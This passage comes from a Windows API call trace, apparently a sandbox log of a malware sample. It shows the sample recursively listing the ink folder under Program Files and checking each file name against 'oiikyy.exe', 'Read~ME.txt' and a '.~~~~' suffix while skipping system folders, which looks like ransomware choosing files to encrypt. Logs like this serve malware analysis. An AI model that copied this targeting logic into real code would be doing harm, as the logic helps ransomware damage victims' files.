	[0068.746] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x2, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0068.746] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0068.747] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0068.747] GetCurrentThreadId () returned 0x618
	[0068.747] RtlWakeConditionVariable () returned 0x365f48
	[0068.747] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b45ecf9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8b45ecf9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0dd120, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x14de00, dwReserved0=0x0, dwReserved1=0x0, cFileName="journal.dll", cAlternateFileName="")) returned 1
	[0068.747] lstrcmpiW (lpString1="journal.dll", lpString2="Windows") returned -1
	[0068.747] lstrcmpW (lpString1="journal.dll", lpString2="oiikyy.exe") returned -1
	[0068.747] StrStrW (lpFirst="journal.dll", lpSrch=".~~~~") returned 0x0
	[0068.747] lstrcmpW (lpString1="journal.dll", lpString2="Read~ME.txt") returned -1
	[0068.747] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0068.747] GetCurrentThreadId () returned 0x618
	[0068.747] RtlWakeConditionVariable () returned 0x365f48
	[0068.747] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1
	[0068.747] lstrcmpiW (lpString1="ko-KR", lpString2="Windows") returned -1
	[0068.747] lstrcmpW (lpString1="ko-KR", lpString2=".") returned 1
	[0068.747] lstrcmpW (lpString1="ko-KR", lpString2="..") returned 1
	[0068.747] lstrcmpW (lpString1="ko-KR", lpString2="AppData") returned 1
	[0068.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR", lpSrch="AppData") returned 0x0
	[0068.747] lstrlenW (lpString="C:\\Windows") returned 10
	[0068.747] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR", lpString2="C:\\Windows") returned -1
	[0068.748] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0068.748] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR", lpString2="C:\\System Volume Information") returned -1
	[0068.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x27fafc8
	[0068.748] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0068.748] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0068.748] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0068.748] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0068.748] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0068.748] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0068.748] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="..", cAlternateFileName="")) returned 1
	[0068.748] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0068.748] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0068.748] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0068.748] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0068.749] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0068.749] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0068.749] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x2, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0068.749] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Windows") returned -1
	[0068.749] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="oiikyy.exe") returned 1
	[0068.749] StrStrW (lpFirst="tipresx.dll.mui", lpSrch=".~~~~") returned 0x0
	[0068.749] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="Read~ME.txt") returned 1
	[0068.749] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0068.749] GetCurrentThreadId () returned 0x618
	[0068.749] RtlWakeConditionVariable () returned 0x365f48
	[0068.749] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x2, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0068.749] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0068.749] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0068.749] GetCurrentThreadId () returned 0x618
	[0068.749] RtlWakeConditionVariable () returned 0x365f48
	[0068.749] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1
	[0068.749] lstrcmpiW (lpString1="lt-LT", lpString2="Windows") returned -1
	[0068.749] lstrcmpW (lpString1="lt-LT", lpString2=".") returned 1
	[0068.749] lstrcmpW (lpString1="lt-LT", lpString2="..") returned 1
	[0068.749] lstrcmpW (lpString1="lt-LT", lpString2="AppData") returned 1
	[0068.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT", lpSrch="AppData") returned 0x0
	[0068.749] lstrlenW (lpString="C:\\Windows") returned 10
	[0068.749] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT", lpString2="C:\\Windows") returned -1
	[0068.749] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0068.750] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT", lpString2="C:\\System Volume Information") returned -1
	[0068.750] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x27fafc8
	[0068.750] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0068.890] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0068.890] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0068.890] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0068.890] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0068.890] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0068.890] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="..", cAlternateFileName="")) returned 1
	[0068.890] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0068.890] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0068.890] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0068.890] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0068.890] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0068.890] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0068.890] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x2, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0068.890] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Windows") returned -1
	[0068.891] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="oiikyy.exe") returned 1
	[0068.891] StrStrW (lpFirst="tipresx.dll.mui", lpSrch=".~~~~") returned 0x0
	[0068.891] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="Read~ME.txt") returned 1
	[0068.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4af0
	[0068.891] GetCurrentThreadId () returned 0x618
	[0068.891] RtlWakeConditionVariable () returned 0x365f48
	[0068.891] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x2, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0068.891] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0068.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4af0
	[0068.891] GetCurrentThreadId () returned 0x618
	[0068.891] RtlWakeConditionVariable () returned 0x365f48
	[0068.892] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1
	[0068.892] lstrcmpiW (lpString1="lv-LV", lpString2="Windows") returned -1
	[0068.892] lstrcmpW (lpString1="lv-LV", lpString2=".") returned 1
	[0068.892] lstrcmpW (lpString1="lv-LV", lpString2="..") returned 1
	[0068.892] lstrcmpW (lpString1="lv-LV", lpString2="AppData") returned 1
	[0068.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV", lpSrch="AppData") returned 0x0
	[0068.892] lstrlenW (lpString="C:\\Windows") returned 10
	[0068.892] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV", lpString2="C:\\Windows") returned -1
	[0068.892] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0068.892] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV", lpString2="C:\\System Volume Information") returned -1
	[0068.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x27fafc8
	[0068.893] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0068.893] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0068.893] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0068.893] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0068.893] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0068.893] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0068.893] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="..", cAlternateFileName="")) returned 1
	[0068.893] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0068.893] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0068.893] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0068.894] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0068.894] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0068.894] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0068.894] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x2, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0068.894] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Windows") returned -1
	[0068.894] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="oiikyy.exe") returned 1
	[0068.894] StrStrW (lpFirst="tipresx.dll.mui", lpSrch=".~~~~") returned 0x0
	[0068.894] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="Read~ME.txt") returned 1
	[0068.894] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4af0
	[0068.894] GetCurrentThreadId () returned 0x618
	[0068.894] RtlWakeConditionVariable () returned 0x365f48
	[0068.894] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x2, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0068.894] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0068.894] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4af0
	[0068.894] GetCurrentThreadId () returned 0x618
	[0068.894] RtlWakeConditionVariable () returned 0x365f48
	[0068.894] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e22d6e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x69e22d6e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x3188e7b0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1
	[0068.894] lstrcmpiW (lpString1="micaut.dll", lpString2="Windows") returned -1
	[0068.894] lstrcmpW (lpString1="micaut.dll", lpString2="oiikyy.exe") returned -1
	[0068.894] StrStrW (lpFirst="micaut.dll", lpSrch=".~~~~") returned 0x0
	[0068.895] lstrcmpW (lpString1="micaut.dll", lpString2="Read~ME.txt") returned -1
	[0068.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0068.895] GetCurrentThreadId () returned 0x618
	[0068.895] RtlWakeConditionVariable () returned 0x365f48
	[0068.895] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x472c5956, ftCreationTime.dwHighDateTime=0x1ca040e, ftLastAccessTime.dwLowDateTime=0xa4945a00, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x9fcc4285, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1
	[0068.895] lstrcmpiW (lpString1="Microsoft.Ink.dll", lpString2="Windows") returned -1
	[0068.895] lstrcmpW (lpString1="Microsoft.Ink.dll", lpString2="oiikyy.exe") returned -1
	[0068.895] StrStrW (lpFirst="Microsoft.Ink.dll", lpSrch=".~~~~") returned 0x0
	[0068.895] lstrcmpW (lpString1="Microsoft.Ink.dll", lpString2="Read~ME.txt") returned -1
	[0068.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4af0
	[0068.895] GetCurrentThreadId () returned 0x618
	[0068.895] RtlWakeConditionVariable () returned 0x365f48
	[0068.895] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa12394d3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa12394d3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa125f634, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x179c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe", cAlternateFileName="")) returned 1
	[0068.895] lstrcmpiW (lpString1="mip.exe", lpString2="Windows") returned -1
	[0068.895] lstrcmpW (lpString1="mip.exe", lpString2="oiikyy.exe") returned -1
	[0068.895] StrStrW (lpFirst="mip.exe", lpSrch=".~~~~") returned 0x0
	[0068.895] lstrcmpW (lpString1="mip.exe", lpString2="Read~ME.txt") returned -1
	[0068.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0068.895] GetCurrentThreadId () returned 0x618
	[0068.896] RtlWakeConditionVariable () returned 0x365f48
	[0068.896] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ad46e47, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5ad46e47, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x344e2230, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x609c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mraut.dll", cAlternateFileName="")) returned 1
	[0068.896] lstrcmpiW (lpString1="mraut.dll", lpString2="Windows") returned -1
	[0068.896] lstrcmpW (lpString1="mraut.dll", lpString2="oiikyy.exe") returned -1
	[0068.896] StrStrW (lpFirst="mraut.dll", lpSrch=".~~~~") returned 0x0
	[0068.896] lstrcmpW (lpString1="mraut.dll", lpString2="Read~ME.txt") returned -1
	[0068.896] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0068.896] GetCurrentThreadId () returned 0x618
	[0068.896] RtlWakeConditionVariable () returned 0x365f48
	[0068.896] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66c00201, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x66c00201, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x34eb4c90, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwgst.dll", cAlternateFileName="")) returned 1
	[0068.896] lstrcmpiW (lpString1="mshwgst.dll", lpString2="Windows") returned -1
	[0068.896] lstrcmpW (lpString1="mshwgst.dll", lpString2="oiikyy.exe") returned -1
	[0068.896] StrStrW (lpFirst="mshwgst.dll", lpSrch=".~~~~") returned 0x0
	[0068.896] lstrcmpW (lpString1="mshwgst.dll", lpString2="Read~ME.txt") returned -1
	[0068.896] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0068.897] GetCurrentThreadId () returned 0x618
	[0068.897] RtlWakeConditionVariable () returned 0x365f48
	[0068.897] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901e133e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x901e133e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x353c2bb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x105a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll", cAlternateFileName="")) returned 1
	[0068.897] lstrcmpiW (lpString1="mshwLatin.dll", lpString2="Windows") returned -1
	[0068.897] lstrcmpW (lpString1="mshwLatin.dll", lpString2="oiikyy.exe") returned -1
	[0068.897] StrStrW (lpFirst="mshwLatin.dll", lpSrch=".~~~~") returned 0x0
	[0068.897] lstrcmpW (lpString1="mshwLatin.dll", lpString2="Read~ME.txt") returned -1
	[0068.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0068.897] GetCurrentThreadId () returned 0x618
	[0068.897] RtlWakeConditionVariable () returned 0x365f48
	[0068.897] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1
	[0068.897] lstrcmpiW (lpString1="nb-NO", lpString2="Windows") returned -1
	[0068.897] lstrcmpW (lpString1="nb-NO", lpString2=".") returned 1
	[0068.897] lstrcmpW (lpString1="nb-NO", lpString2="..") returned 1
	[0068.897] lstrcmpW (lpString1="nb-NO", lpString2="AppData") returned 1
	[0068.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO", lpSrch="AppData") returned 0x0
	[0068.897] lstrlenW (lpString="C:\\Windows") returned 10
	[0068.897] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO", lpString2="C:\\Windows") returned -1
	[0068.897] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0068.897] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO", lpString2="C:\\System Volume Information") returned -1
	[0068.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x27fafc8
	[0068.898] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0068.898] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0068.898] lstrcmpW (lpString1=".", lpString2=".") returned 0
